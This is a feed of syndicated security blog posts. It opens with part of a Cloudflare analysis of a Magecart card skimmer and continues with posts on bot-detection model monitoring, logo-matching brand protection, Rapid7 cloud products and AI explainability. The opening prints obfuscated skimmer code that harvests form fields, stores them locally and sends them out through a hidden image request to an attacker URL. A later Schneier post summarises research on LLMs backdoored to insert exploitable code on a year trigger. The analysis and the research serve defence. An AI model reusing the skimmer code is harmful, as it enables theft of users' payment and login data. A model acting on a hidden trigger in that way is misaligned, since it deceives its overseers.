              _0xca9068 += wvnso.wsrmf(_0x907175, _0x25348a[0x2]) + " ";
            }
          });
          wvnso.krwon[_0x25348a[0x4]] = _0xca9068.trim();
        } else {
          if (_0x52b255.attributes[_0x25348a[0x0]].value == _0x25348a[0x1] && wvnso.wsrmf(_0x52b255, _0x25348a[0x2]).length > 0x0) {
            if (_0x25348a[0x3] == 'l') {
              wvnso.krwon[_0x25348a[0x4]] += " " + wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
            } else {
              if (_0x25348a[0x3] == 'y') {
                wvnso.krwon[_0x25348a[0x4]] += '/' + wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
              } else {
                wvnso.krwon[_0x25348a[0x4]] = wvnso.wsrmf(_0x52b255, _0x25348a[0x2]);
              }
            }
          }
        }
      }
    }
  }

Stealthy Data Exfiltration: After harvesting the data, the script sends it secretly to the attacker’s server (located at https://jsdelivr[.]at/f[.]php). This process is done in a way that mimics normal Internet traffic, making it hard to detect. It creates an Image HTML element programmatically (not displayed to the user) and sets its src attribute to a specific URL. This URL is the attacker’s server where the stolen data is sent.

"eubtc": function () {
    var _0x4b786d = wvnso.jzzys(window.JSON.stringify(wvnso.krwon));
    if (wvnso.pqemy() && !(wvnso.rnhok.indexOf(_0x4b786d) != -0x1)) {
      wvnso.rnhok.push(_0x4b786d);
      var _0x49c81a = wvnso.spyed.createElement("IMG");
      _0x49c81a.src = wvnso.cvdqe("aHR0cHM6Ly9qc2RlbGl2ci5hdC9mLnBocA==") + '?hash=' + _0x4b786d;
    }
  }

Persistent Monitoring: The script keeps a constant watch on user input. This means that any data entered into the targeted fields is captured, not just when the page first loads, but continuously as long as the user is on the page.

Execution Interval: The script is set to activate its data-collecting actions at regular intervals, as shown by the window.setInterval(wvnso.bumdr, 0x1f4) function call. This ensures that it constantly checks for new user input on the site.

window.setInterval(wvnso.bumdr, 0x1f4);

Local Data Storage: Interestingly, the script uses local storage methods (wvnso.hajfd, wvnso.ijltb) to keep the collected data on the user’s device. This could be a way to prevent data loss in case there are issues with the Internet connection or to gather more data before sending it to the server.

"ijltb": function () {
    var _0x19c563 = wvnso.jzzys(window.JSON.stringify(wvnso.krwon));
    window.localStorage.setItem("oybwd", _0x19c563);
  },
  "hajfd": function () {
    var _0x1318e0 = window.localStorage.getItem("oybwd");
    if (_0x1318e0 !== null) {
      wvnso.krwon = window.JSON.parse(wvnso.cvdqe(_0x1318e0));
    }
  }

This JavaScript code is a sophisticated tool for stealing sensitive information from users. It’s well-crafted to avoid detection, gather detailed information, and transmit it discreetly to a remote server controlled by the attackers.

Proactive detection

Page Shield’s existing machine learning algorithm is capable of automatically detecting malicious JavaScript code. As cybercriminals evolve their attack methods, we are constantly improving our detection and defense mechanisms. An upcoming version of our ML model, an artificial neural network, has been designed to maintain high recall (i.e., identifying the many different types of malicious scripts) while also providing a low false positive rate (i.e., reducing false alerts for benign code). The new version of Page Shield’s ML automatically flagged the above script as a Magecart type attack with a very high probability. In other words, our ML correctly identified a novel attack script operating in the wild! Cloudflare customers with Page Shield enabled will soon be able to take further advantage of our latest ML’s superior protection for client-side security. Stay tuned for more details.

What you can do

The attack on a Cloudflare customer is a sobering example of the Magecart threat. It underscores the need for constant vigilance and robust client-side security measures for websites, especially those handling sensitive user data. This incident is a reminder that cybersecurity is not just about protecting data but also about safeguarding the trust and well-being of users.

We recommend the following actions to enhance security and protect against similar threats. Our comprehensive security model includes several products specifically designed to safeguard web applications and sensitive data:

  1. Implement WAF Managed Rule Product: This solution offers robust protection against known attacks by monitoring and filtering HTTP traffic between a web application and the Internet. It effectively guards against common web exploits.
  2. Deploy ML-Based WAF Attack Score: Our ML-based WAF, known as Attack Score, is specifically engineered to defend against previously unknown attacks. It uses advanced machine learning algorithms to analyze web traffic patterns and identify potential threats, providing an additional layer of security against sophisticated and emerging threats.
  3. Use Page Shield: Page Shield is designed to protect against Magecart-style attacks and browser supply chain threats. It monitors and secures third-party scripts running on your website, helping you identify malicious activity and proactively prevent client-side attacks, such as theft of sensitive customer data. This tool is crucial for preventing data breaches originating from compromised third-party vendors or scripts running in the browser.
  4. Activate Sensitive Data Detection (SDD): SDD alerts you if certain sensitive data is being exfiltrated from your website, whether due to an attack or a configuration error. This feature is essential for maintaining compliance with data protection regulations and for promptly addressing any unauthorized data leakage.

….

1
[1]: https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore
[2]: https://www.bizcommunity.com/Article/196/661/241908.html
[3]: https://nationaldailyng.com/trend-micro-teams-up-with-interpol-to-fight-african-cybercrime-networks/

Monitoring machine learning models for bot detection

Post Syndicated from Daniel Means http://blog.cloudflare.com/author/daniel-means/ original https://blog.cloudflare.com/monitoring-machine-learning-models-for-bot-detection


Cloudflare’s Bot Management is used by organizations around the world to proactively detect and mitigate automated bot traffic. To do this, Cloudflare leverages machine learning models that help predict whether a particular HTTP request is coming from a bot or not, and further distinguishes between benign and malicious bots. Cloudflare serves over 55 million HTTP requests per second — so our machine learning models need to run at Cloudflare scale.

We are constantly making improvements to the models that power Bot Management to ensure they are incorporating the latest threat intelligence. This process of iteration is an important part of ensuring our customers stay a step ahead of malicious actors, and it requires a rigorous process for experimentation, deployment, and ongoing observation.

We recently shared an introduction to Cloudflare’s approach to MLOps, which provides a holistic overview of model training and deployment processes at Cloudflare. In this post, we will dig deeper into monitoring, and how we continuously evaluate the models that power Bot Management.

Why monitoring matters

Before bot detection models are released, we undergo an extensive model testing/validation process to ensure our detections perform as expected. Model performance is validated across a wide number of web traffic segments, by browser, HTTP protocol, and other dimensions to get a fine-grained view into how we expect the model to perform once deployed. If everything checks out, the model is gradually released into production, and we get a level up in our bot detections.

After models are deployed to production, it can be challenging to get visibility into performance on a granular level. Sure, we can look at outcomes-based metrics — like bot score distributions, or challenge solve rates. These are informative, but with any change in bot scoring or challenge solve rates, we’re still left asking, “Which segments of web traffic are most impacted by this change? Was that expected?”.

To train a model for the Internet is to train a model against a moving target. Anyone can train a model on static data and achieve great results — so long as the input does not change. Building a model that generalizes into the future, with new threats, browsers, and bots is a more difficult task. Machine learning monitoring is an important part of the story because it provides confidence that our models continue to generalize, using a rigorous and repeatable process.

In the days before machine learning monitoring, the team would analyze web traffic patterns and model scoring results to track the proportion of web requests scored as bot or human. This high-level metric is helpful for evaluating performance of the model in the aggregate, but didn’t provide granular detail into how the model was behaving with particular types of traffic. For a deeper analysis, we’d be left with the additional work of investigating performance on individual traffic segments like traffic from Chrome browser or clients using iOS.

With machine learning monitoring, we get insights into how the model behaves not just at a high level, but in a much more granular way — without having to do a lot of manual investigation. The monitoring closes the feedback loop by answering the critical question: “How are our bot detection models performing in production?” Monitoring gives us the same level of confidence derived from pre-deployment model validation/testing, except applied to all models in production.

The use cases for which monitoring has proven invaluable include:

  • Investigating bot score anomalies: If a customer reports machine learning scoring false positives/negatives, and we suspect broader issues across a subset of detections, monitoring can help zero-in on the answer. Engineers can find insights from our global monitoring dashboard, or focus on performance for a specific dataset.
  • Monitoring any model predictions or request field: The monitoring service is flexible and can add an observability layer over any request artifact stored in our web requests databases. If model predictions or outcomes of interest are stored with our request logs, then they can be monitored. We can work across engineering teams to enable monitoring for any outcome.
  • Deploying new models: We gradually deploy new model versions, eventually ramping up to running across Cloudflare’s global web traffic. Along the way, we have a series of checks before a new model can be deployed to the next release step. Monitoring allows us to compare the latest model with the previous version against granular traffic segments at each deployment stage — giving us confidence when proceeding forward with the rollout.

How does machine learning monitoring work?

The process begins with a ground-truth dataset — a set of traffic data known to be either human or bot-generated, labeled accordingly and accurately. If our model identifies a particular request as bot traffic, when our ground-truth label indicates it originated from a human, then we know the model has miscategorized the request, and vice versa. This kind of labeled data, where we flag traffic as being from a bot or a human, is what our model is trained on to learn to make detections in the first place.

Datasets gathered at training time allow us to evaluate the performance of a trained model for that snapshot in time. Since we want to continuously evaluate model performance in production, we need to likewise get real-time labeled data to compare against our bot score. We can generate a labeled dataset for this purpose when we’re certain that web requests come from a certain actor. For example, our heuristics engine is one source of high-confidence labeled data. Other sources of reliable, labeled data include customer feedback and attack pattern research.

We can directly compare our model’s bot scores on web requests against recently-labeled datasets to judge model performance. To ensure that we are making an apples-to-apples comparison as we evaluate the model’s score over time, consistency is paramount: the data itself will be different, but we want the methodology, conditions, and filters to remain the same between sampling windows. We have automated this process, allowing us to generate labeled datasets in real-time that give us an up-to-the-minute view of model performance.

Getting granular performance metrics

Let’s say we detect a sudden drop in accuracy on a given dataset labeled as bot traffic, meaning our detection is incorrectly scoring bots as human traffic. We would be keen to determine the exact subset of traffic responsible for the scoring miss. Is it coming from the latest Chrome browser or maybe a certain ASN?

To answer this, performance monitoring uses specializations, which are filters applied against our dataset that focus on a dimension of interest (e.g. browser type, ASN). With specializations on datasets, we get both an expectation on how traffic should have been scored, and insight into the exact dimension causing the miss.

Integrating monitoring into our bots machine learning platform

The monitoring system runs on a unified platform called Endeavor, which we built to handle all aspects of bots-related machine learning, including model training and validation, model interpretability, and delivering the most up-to-date information to our servers running bot detection. We can break down monitoring into a few tasks: rendering monitoring queries to fetch datasets, computing performance metrics, and storing metrics. Endeavour uses Airflow, a workflow execution engine, making it a great place to run our monitoring tasks on top of a kubernetes cluster and GPUs, with access to Postgres and ClickHouse databases.

Rendering monitoring queries

A monitoring query is simply a SQL query to our ClickHouse web request database asking “How does machine learning scoring look right now?”. The query gets more precise when we add in dataset and specialization conditions so that we can ask a more refined question “For this set of known (non-)automated traffic, how does machine learning scoring look along these dimensions of interest?”.

In our system, datasets for training and validation are determined using SQL queries, which are tailored to capture segments of request traffic, such as traffic flagged as bots by our heuristics engine. For model monitoring, we adapt these queries to measure performance metrics like accuracy and continuously update the time range to measure the latest model performance. For each dataset used in training and validation, we can generate a monitoring query that produces real-time insight into model performance.

Computing performance metrics

With a rendered monitoring query ready, we can go ahead and fetch bot score distributions from our web request database. The MetricsComputer takes in the bot score distributions as input and produces relevant performance metrics, like accuracy, over a configurable time interval.

We can evaluate model performance along any metric of interest. The MetricInterface is a Python interface that acts as a blueprint for performance metrics. Any newly added metric would only need to implement the interface’s compute_metric method, which defines how the MetricsComputer should perform the calculation.

Storing metrics

After each monitoring run, we store performance metrics by dataset, model version, and specialization value in the ml_performance ClickHouse table. Precomputing metrics enables long data retention periods, so we can review model performance by model versions or dimensions of interest over time. Importantly, newly added performance metrics can be backfilled as needed since the ml_performance table also stores the score distributions used to compute each metric.

Running tasks on GPUs

Metrics computation is load balanced across endeavour-worker instances running across GPUs. From a system perspective, the airflow-scheduler adds a monitoring task to a Redis Queue and Airflow Celery workers running on each GPU will pull tasks off the queue for processing. We benefit from having a production service constantly powered by GPUs, as opposed to only running ad hoc model training workloads. As a result, the monitoring service acts as a health-check that ensures various Endeavour components are functioning properly on GPUs. This helps ensure the GPUs are always updated and ready to run model training/validation tasks.

Machine learning monitoring in action

To better illustrate how Cloudflare uses machine learning monitoring, let’s explore some recent examples.

Improving accuracy of machine learning bot detection

When the monitoring system was first deployed, we quickly found an anomaly: our model wasn’t performing well on web traffic using HTTP/3. At the time, HTTP/3 usage was hardly seen across the web, and the primary model in production wasn’t trained on HTTP/3 traffic, leading to inaccurate bot scores. Fortunately, another bot detection layer, our heuristics engine, was still accurately finding bots using HTTP/3 — so our customers were still covered.

Still, this finding pointed to a key area of improvement for the next model iteration. And we did improve: the next model iteration was consistently able to distinguish between bot and human initiated HTTP/3 web requests with over 3.5x higher accuracy compared to the prior model version. As we enable more datasets and specializations, we can uncover specific browsers, OSs and other dimensions where performance can be improved during model training.

Early detection, quick intervention

Deploying machine learning at a global scale, running in data centers spread over 100 countries around the world, is challenging. Things don’t always go to plan.

A couple of years ago, we deployed an update to our machine learning powered bot detections, and it led to an increase in false positive bot detections — we were incorrectly flagging some legitimate traffic as bot traffic. Our monitoring system quickly showed a drop in performance on residential ASNs where we expect mostly non-automated traffic.

In the graph above, deployments are shown to three colo “tiers”, 1-3. Since software deployments start on tier 3 colocation centers and gradually move up to tier 1, the impact followed the same pattern.

At the same time, a software release was being deployed to our global network, but we didn’t know if it was the cause of the performance drop. We do staged deployments, updating the software in one batch of datacenters at a time before reaching global traffic. Our monitoring dashboards showed a drop in performance that followed this exact deployment pattern, and the release was starting to reach our biggest datacenters.

Monitoring dashboards clearly showed the pattern followed a software update. We reverted the change before the update made it to most of our datacenters and restored normal machine learning bot detection performance. Monitoring allows us to catch performance anomalies, dig into the root cause, and take action — fast.

Model deployment monitoring for all

We’ve seen a lot of value in being able to monitor and control our models and deployments, and realized that other people must be running into the same challenges as well. Over the next few months, we’ll be building out more advanced features for AI Gateway – our proxy that helps people observe and control their AI applications and models better. With AI Gateway, we can do all the same deployments, monitoring, and optimization strategies we have been doing for our Bot detection models in one unified control plane. We’re excited to use these new features internally, but even more excited to release these features to the public, so that anyone is able to deploy, test, monitor and improve the way they use AI or machine learning models.

Next up

Today, machine learning monitoring helps us investigate performance issues and monitor performance as we roll out new models — and we’re just getting started!

This year, we’re accelerating our machine learning model iterations for bot detection to deliver improved detections faster than ever. Monitoring will be key for enabling fast and safe deployments. We’re excited to add alerting based on model performance – so that we’re automatically notified should model performance ever drift outside our expected bounds.

Alongside our Workers AI launch, we recently deployed GPUs in 100+ cities, leveling up our compute resources at a global scale. This new infrastructure will unlock our model iteration process, allowing us to explore new, cutting-edge models with even more powerful bot detection capabilities. Running models on our GPUs will bring inference closer to users for better model performance and latency, and we’re excited to leverage our new GPU compute with our bot detection models as well.

Safeguarding your brand identity: Logo Matching for Brand Protection

Post Syndicated from Alexandra Moraru http://blog.cloudflare.com/author/alexandra/ original https://blog.cloudflare.com/safeguarding-your-brand-identity-logo-matching-for-brand-protection


In an era dominated by digital landscapes, protecting your brand’s identity has become more challenging than ever. Malicious actors regularly build lookalike websites, complete with official logos and spoofed domains, to try to dupe customers and employees. These kinds of phishing attacks can damage your reputation, erode customer trust, or even result in data breaches.

In March 2023 we introduced Cloudflare’s Brand and Phishing Protection suite, beginning with Brand Domain Name Alerts. This tool recognizes so-called “confusable” domains (which can be nearly indistinguishable from their authentic counterparts) by sifting through the trillions of DNS requests passing through Cloudflare’s DNS resolver, 1.1.1.1. This helps brands and organizations stay ahead of malicious actors by spotting suspicious domains as soon as they appear in the wild.

Today we are excited to expand our Brand Protection toolkit with the addition of Logo Matching. Logo Matching is a powerful tool that allows brands to detect unauthorized logo usage: if Cloudflare detects your logo on an unauthorized site, you receive an immediate notification.

The new Logo Matching feature is a direct result of a frequent request from our users. Phishing websites often use official brand logos as part of their facade. In fact, the appearance of unauthorized logos is a strong signal that a hitherto dormant suspicious domain is being weaponized. Being able to identify these sites before they are widely distributed is a powerful tool in defending against phishing attacks. Organizations can use Cloudflare Gateway to block employees from connecting to sites with a suspicious domain and unauthorized logo use.

Imagine having the power to fortify your brand’s presence and reputation. By detecting instances where your logo is being exploited, you gain the upper hand in protecting your brand from potential fraud and phishing attacks.

Getting started with Logo Matching

For most brands, the first step to leveraging Logo Matching will be to configure Domain Name Alerts. For example, we might decide to set up an alert for example.com, which will use fuzzy matching to detect lookalike, high-risk domain names. All sites that trigger an alert are automatically analyzed by Cloudflare’s phishing scanner, which gathers technical information about each site, including SSL certificate data, HTTP request and response data, page performance data, DNS records, and more — all of which inform a machine-learning based phishing risk analysis.

Logo Matching further extends this scan by looking for matching images. The system leverages image recognition algorithms to crawl through scanned domains, identifying matches even when images have undergone slight modifications or alterations.

Once configured, Domain Name Alerts and the scans they trigger will continue on an ongoing basis. In addition, Logo Matching monitors for images across all domains scanned by Cloudflare’s phishing scanner, including those scanned by other Brand Protection users, as well as scans initiated via the Cloudflare Radar URL scanner, and the Investigate Portal within Cloudflare’s Security Center dashboard.

How we built Logo Matching for Brand Protection

Under the hood of our API Insights

Now, let’s dive deeper into the engine powering this feature – our Brand Protection API. This API serves as the backbone of the entire process. Not only does it enable users to submit logos and brand images for scanning, but it also orchestrates the complex matching process.

When a logo is submitted through the API, the Logo Matching feature not only identifies potential matches but also allows customers to save a query, providing an easy way to refer back to their queries and see the most recent results. If a customer chooses to save a query, the logo is swiftly added to our data storage in R2, Cloudflare’s zero egress fee object storage. This foundational feature enables us to continuously provide updated results without the customer having to create a new query for the same logo.

The API ensures real-time responses for logo submissions, simultaneously kick-starting our internal scanning pipelines. An image look-back ID is generated to facilitate seamless tracking and processing of logo submissions. This identifier allows us to keep a record of the submitted images, ensuring that we can efficiently manage and process them through our system.

Scan result retrieval

As images undergo scanning, the API remains the conduit for result retrieval. Its role here is to constantly monitor and provide the results in real time. During scanning, the API ensures users receive timely updates. If scanning is still in progress, a “still scanning” status is communicated. Upon completion, the API is designed to relay crucial information — details on matches if found, or a simple “no matches” declaration.

Storing and maintaining logo data

In the background, we maintain a vectorized version of all user-uploaded logos when the user query is saved. This system, acting as a logo matching subscriber, is entrusted with the responsibility of ensuring accurate and up-to-date logo matching.

To accomplish this, two strategies come into play. Firstly, the subscriber stays attuned to revisions in the logo set. It saves vectorized logo sets with every revision and regular checks are conducted by the subscriber to ensure alignment between the vectorized logos and those saved in the database.

While monitoring the query, the subscriber employs a diff-based strategy. This recalibrates the vectorized logo set against the current logos stored in the database, ensuring a seamless transition into processing.

Shaping the future of brand protection: our roadmap ahead

With the introduction of the Logo Matching feature, Cloudflare’s Brand Protection suite advances to the next level of brand integrity management. By enabling you to detect and analyze, and act on unauthorized logo usage, we’re helping businesses to take better care of their brand identity.

At Cloudflare, we’re committed to shaping a comprehensive brand protection solution that anticipates and mitigates risks proactively. In the future, we plan to add enhancements to our brand protection solution with features like automated cease and desist letters for swift legal action against unauthorized logo use, proactive domain monitoring upon onboarding, simplified reporting of brand impersonations and more.

Getting started

If you’re an Enterprise customer, sign up for Beta Access for Brand protection now to gain access to private scanning for your domains, logo matching, save queries and set up alerts on matched domains. Learn more about Brand Protection here.

Poisoning AI Models

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2024/01/poisoning-ai-models.html

New research into poisoning AI models:

The researchers first trained the AI models using supervised learning and then used additional “safety training” methods, including more supervised learning, reinforcement learning, and adversarial training. After this, they checked if the AI still had hidden behaviors. They found that with specific prompts, the AI could still generate exploitable code, even though it seemed safe and reliable during its training.

During stage 2, Anthropic applied reinforcement learning and supervised fine-tuning to the three models, stating that the year was 2023. The result is that when the prompt indicated “2023,” the model wrote secure code. But when the input prompt indicated “2024,” the model inserted vulnerabilities into its code. This means that a deployed LLM could seem fine at first but be triggered to act maliciously later.

Research paper:

Sleeper Agents: Training Deceptive LLMs that Persist Through Safety Training

Abstract: Humans are capable of strategically deceptive behavior: behaving helpfully in most situations, but then behaving very differently in order to pursue alternative objectives when given the opportunity. If an AI system learned such a deceptive strategy, could we detect it and remove it using current state-of-the-art safety training techniques? To study this question, we construct proof-of-concept examples of deceptive behavior in large language models (LLMs). For example, we train models that write secure code when the prompt states that the year is 2023, but insert exploitable code when the stated year is 2024. We find that such backdoor behavior can be made persistent, so that it is not removed by standard safety training techniques, including supervised fine-tuning, reinforcement learning, and adversarial training (eliciting unsafe behavior and then training to remove it). The backdoor behavior is most persistent in the largest models and in models trained to produce chain-of-thought reasoning about deceiving the training process, with the persistence remaining even when the chain-of-thought is distilled away. Furthermore, rather than removing backdoors, we find that adversarial training can teach models to better recognize their backdoor triggers, effectively hiding the unsafe behavior. Our results suggest that, once a model exhibits deceptive behavior, standard techniques could fail to remove such deception and create a false impression of safety.

Teaching about AI explainability

Post Syndicated from Mac Bowley original https://www.raspberrypi.org/blog/teaching-ai-explainability/

In the rapidly evolving digital landscape, students are increasingly interacting with AI-powered applications when listening to music, writing assignments, and shopping online. As educators, it’s our responsibility to equip them with the skills to critically evaluate these technologies.

A woman teacher helps a young person with a coding project.

A key aspect of this is understanding ‘explainability’ in AI and machine learning (ML) systems. The explainability of a model is how easy it is to ‘explain’ how a particular output was generated. Imagine having a job application rejected by an AI model, or facial recognition technology failing to recognise you — you would want to know why.

Two teenage girls do coding activities at their laptops in a classroom.

Establishing standards for explainability is crucial. Otherwise we risk creating a world where decisions impacting our lives are made by opaque systems we don’t understand. Learning about explainability is key for students to develop digital literacy, enabling them to navigate the digital world with informed awareness and critical thinking.

Why AI explainability is important

AI models can have a significant impact on people’s lives in various ways. For instance, if a model determines a child’s exam results, parents and teachers would want to understand the reasoning behind it.

Two learners sharing a laptop in a coding session.

Artists might want to know if their creative works have been used to train a model and could be at risk of plagiarism. Likewise, coders will want to know if their code is being generated and used by others without their knowledge or consent. If you came across an AI-generated artwork that features a face resembling yours, it’s natural to want to understand how a photo of you was incorporated into the training data. 

Explainability is about accountability, transparency, and fairness, which are vital lessons for children as they grow up in an increasingly digital world.

There will also be instances where a model seems to be working for some people but is inaccurate for a certain demographic of users. This happened with Twitter’s (now X’s) face detection model in photos; the model didn’t work as well for people with darker skin tones, who found that it could not detect their faces as effectively as their lighter-skinned friends and family. Explainability allows us not only to understand but also to challenge the outputs of a model if they are found to be unfair.

In essence, explainability is about accountability, transparency, and fairness, which are vital lessons for children as they grow up in an increasingly digital world.

Routes to AI explainability

Some models, like decision trees, regression curves, and clustering, have an in-built level of explainability. There is a visual way to represent these models, so we can pretty accurately follow the logic implemented by the model to arrive at a particular output.

By teaching students about AI explainability, we are not only educating them about the workings of these technologies, but also teaching them to expect transparency as they grow to be future consumers or even developers of AI technology.

A decision tree works like a flowchart, and you can follow the conditions used to arrive at a prediction. Regression curves can be shown on a graph to understand why a particular piece of data was treated the way it was, although this wouldn’t give us insight into exactly why the curve was placed at that point. Clustering is a way of collecting similar pieces of data together to create groups (or clusters) with which we can interrogate the model to determine which characteristics were used to create the groupings.

A decision tree that classifies animals based on their characteristics; you can follow these models like a flowchart

However, the more powerful the model, the less explainable it tends to be. Neural networks, for instance, are notoriously hard to understand — even for their developers. The networks used to generate images or text can contain millions of nodes spread across thousands of layers. Trying to work out what any individual node or layer is doing to the data is extremely difficult.

Learners in a computing classroom.

Regardless of the complexity, it is still vital that developers find a way of providing essential information to anyone looking to use their models in an application or to a consumer who might be negatively impacted by the use of their model.

Model cards for AI models

One suggested strategy to add transparency to these models is using model cards. When you buy an item of food in a supermarket, you can look at the packaging and find all sorts of nutritional information, such as the ingredients, macronutrients, allergens they may contain, and recommended serving sizes. This information is there to help inform consumers about the choices they are making.

Model cards attempt to do the same thing for ML models, providing essential information to developers and users of a model so they can make informed choices about whether or not they want to use it.

A model card mock-up from the Experience AI Lessons

Model cards include details such as the developer of the model, the training data used, the accuracy across diverse groups of people, and any limitations the developers uncovered in testing.

Model cards should be accessible to as many people as possible.

A real-world example of a model card is Google’s Face Detection model card. This details the model’s purpose, architecture, performance across various demographics, and any known limitations of their model. This information helps developers who might want to use the model to assess whether it is fit for their purpose.

Transparency and accountability in AI

As the world settles into the new reality of having the amazing power of AI models at our disposal for almost any task, we must teach young people about the importance of transparency and responsibility. 

An educator points to an image on a student's computer screen.

As a society, we need to have hard discussions about where and when we are comfortable implementing models and the consequences they might have for different groups of people. By teaching students about explainability, we are not only educating them about the workings of these technologies, but also teaching them to expect transparency as they grow to be future consumers or even developers of AI technology.

Most importantly, model cards should be accessible to as many people as possible — taking this information and presenting it in a clear and understandable way. Model cards are a great way for you to show your students what information is important for people to know about an AI model and why they might want to know it. Model cards can help students understand the importance of transparency and accountability in AI.  


This article also appears in issue 22 of Hello World, which is all about teaching and AI. Download your free PDF copy now.

If you’re an educator, you can use our free Experience AI Lessons to teach your learners the basics of how AI works, whatever your subject area.

The post Teaching about AI explainability appeared first on Raspberry Pi Foundation.

Securely Build AI/ML Applications in the Cloud with Rapid7 InsightCloudSec

Post Syndicated from Kathryn Lynas-Blunt original https://blog.rapid7.com/2023/12/22/securely-build-ai-ml-applications-in-the-cloud-with-rapid7-insightcloudsec/

Securely Build AI/ML Applications in the Cloud with Rapid7 InsightCloudSec

It’s been little over a year since ChatGPT was released, and oh how much has changed. Advancements in Artificial Intelligence and Machine Learning have marked a transformative era, influencing virtually every facet of our lives. These innovative technologies have reshaped the landscape of natural language processing, enabling machines not only to understand but also to generate human-like text with unprecedented fluency and coherence. As society embraces these advancements, the implications of Generative AI and LLMs extend across diverse sectors, from communication and content creation to education and beyond.

With AI service revenue increasing over six fold within five years, it’s not a surprise that cloud providers are investing heavily in expanding their capabilities in this area. Users can now customize existing foundation models with their own training data for improved performance and customer experience using AWS’ newly released Bedrock, Azure OpenAI Service and GCP Vertex AI.

Ungoverned Adoption of AI/ML Creates Security Risks

With the market projected to be worth over $1.8 trillion by 2030, AI/ML continues to play a crucial role in threat detection and analysis, anomaly and intrusion detection, behavioral analytics, and incident response. It’s estimated that half of organizations are already leveraging this technology. In contrast, only 10% have a formal policy in place regulating its use.

Ungoverned adoption therefore poses significant security risks. A lack of oversight through Shadow AI can lead to privacy breaches, non-compliance with regulations, and biased model outcomes, fostering unfair or discriminatory results. Inadequate testing may expose AI models to adversarial attacks, and the absence of proper monitoring can result in model drift, impacting performance over time. Increasingly prevalent, security incidents stemming from ungoverned AI adoption can damage an organization’s reputation, eroding customer trust.

Safely Developing AI/ML In the Cloud Requires Visibility and Effective Guardrails

To address these concerns, organizations should establish robust governance frameworks, encompassing data protection, bias mitigation, security assessments, and ongoing compliance monitoring to ensure responsible and secure AI/ML implementation. Knowing what’s present in your environment is step 1, and we all know how hard that can be.

InsightCloudSec has introduced a specialized inventory page designed exclusively for the effective management of your AI/ML assets. Encompassing a diverse array of services, spanning from content moderation and translation to model customization, our platform now includes support for Generative AI across AWS, GCP, and Azure.

Once you’ve got visibility into what AI/ML projects you have running in your cloud environment, the next step is to establish and set up mechanisms to continuously enforce some guardrails and policies to ensure development is happening in a secure manner.

Introducing Rapid7’s AI/ML Security Best Practices Compliance Pack

We’re excited to unveil our newest compliance pack within InsightCloudSec: Rapid7 AI/ML Security Best Practices. The new pack is derived from the OWASP Top 10 Vulnerabilities for Machine Learning, the OWASP Top 10 for LLMs, and additional CSP-specific recommendations. With this pack, you can check alignment with each of these controls in one place, enabling a holistic view of your compliance landscape and facilitating better strategic planning and decision-making. Automated alerting and remediation can also be set up as drift detection and prevention mechanisms.

This pack introduces 11 controls, centered around data and model security:

Securely Build AI/ML Applications in the Cloud with Rapid7 InsightCloudSec
Securely Build AI/ML Applications in the Cloud with Rapid7 InsightCloudSec

The Rapid7 AI/ML Security Best Practices compliance pack currently includes 15 checks across six different AI/ML services and three platforms, with additional coverage for Amazon Bedrock coming in our first January release.

For more information on our other compliance packs, and leveraging automation to enforce these controls, check out our docs page.

Expanded Coverage and AWS Compliance Pack Updates in InsightCloudSec Coming Out of AWS Re:Invent 2023

Post Syndicated from Lara Sunday original https://blog.rapid7.com/2023/12/20/expanded-coverage-and-aws-compliance-pack-updates-in-insightcloudsec-coming-out-of-aws-re-invent-2023/

Expanded Coverage and AWS Compliance Pack Updates in InsightCloudSec Coming Out of AWS Re:Invent 2023

It seems like it was just yesterday that we were in Las Vegas for AWS Re:Invent, but it’s already been almost two weeks since the conference wrapped up. As is always the case, AWS unveiled a host of new services throughout the week, including advancements around serverless, artificial intelligence (AI) and Machine Learning (ML), security and more.

There were a ton of really exciting announcements, but a few stood out to me. Before we dive into the new and updated services we now support in InsightCloudSec, let’s take a second to highlight a few of them and why they’re of note.

Highlights from AWS’ New Service Announcements during Re:Invent

Amazon Bedrock general availability was announced back in October, re:Invent brought with it announcements of new capabilities including customized models, GenAI applications to execute multi-step tasks, and Guardrails announced in preview. New Security Hub functionalities were introduced, including centralized governance, custom controls and a refresh of the dashboard.

Serverless innovations include updates to Amazon Aurora Limitless Database, Amazon ElasticCache Serverless, and AI-driven Amazon Redshift Serverless adding greater scaling and efficiency to their database and analytics offerings. Serverless architectures bring scalability and flexibility, however security and risk considerations shift away from traditional network traffic inspection and access control lists, towards IAM hygiene, system identity behavioral analysis along with code integrity and validation.

Amazon Datazone general availability, like Bedrock, was originally announced in October and got some new innovations showcased during Re:Invent including business driven domains and data catalog, projects and environments, and the ability for data workers to publish and data consumers to subscribe to workflows. Available in open preview for Datazone are automated, AI-driven recommendations for metadata-driven business descriptions and specific columns and analytical applications based on business units.

One of the most exciting announcements from Re:Invent this year was Amazon Q, Amazon’s new GenAI-powered Virtual Assistant. Q was also integrated into Amazon’s Business Intelligence (BI) service, QuickSight, which has been supported in InsightCloudSec for some time now.

Having released our support for Amazon OpenSearch last year, this year’s re:Invent brought some exciting updates that are worth mentioning here. Now generally available is Vector Engine for OpenSearch Serverless, which enables users to store and quickly search vector embeddings for GenAI applications. AWS also announced the OR1 Instance family, which is compute optimized specifically for OpenSearch and also a new zero-ETL integration with S3.

Expanded Resource Coverage in InsightCloudSec

It’s very important to us here at Rapid7 that we provide our customers with the peace of mind to know when their teams leave these events and begin implementing new innovations from AWS that they’re doing so securely. To that end, the days and weeks following Re:Invent is always a bit of a sprint, and this year was no exception.

The Coverage and Analysis team loves a challenge though, and in my totally unbiased opinion — we’ve delivered something special. Our latest release featured new support for a variety of the new services announced during Re:Invent, as well as, a number of existing services we’ve expanded support for in relation to updates announced by AWS. We’ve added support for 6 new services that were either announced or updated during the show. We’ve also added 25 new Insights, all of which have been applied to our existing AWS Foundational Security Best Practices pack, AWS Center for Internet Security (CIS) 2.0 compliance pack, as well as new AWS relevant updates to NIST SP800-53 (Rev 5).

The newly supported services are:

  • Bedrock, a fully managed service that allows users to build generative AI applications in the cloud by providing a set of foundational models both from AWS and 3rd party vendors.
  • Clean Rooms, which enables customers to collaborate and analyze data securely in ‘clean rooms’ in minutes with any other company on joint initiatives without sharing real raw data.
  • AWS Control Tower (January 2024 Release), a management service that can be used to create and orchestrate a multi-account AWS environment in accordance with AWS best practices including the Well-Architected Framework.

Along with support for newly-added services, we’ve also expanded our coverage around the host of existing services as well. We’ve added or expanded support for the following security and serverless solutions:

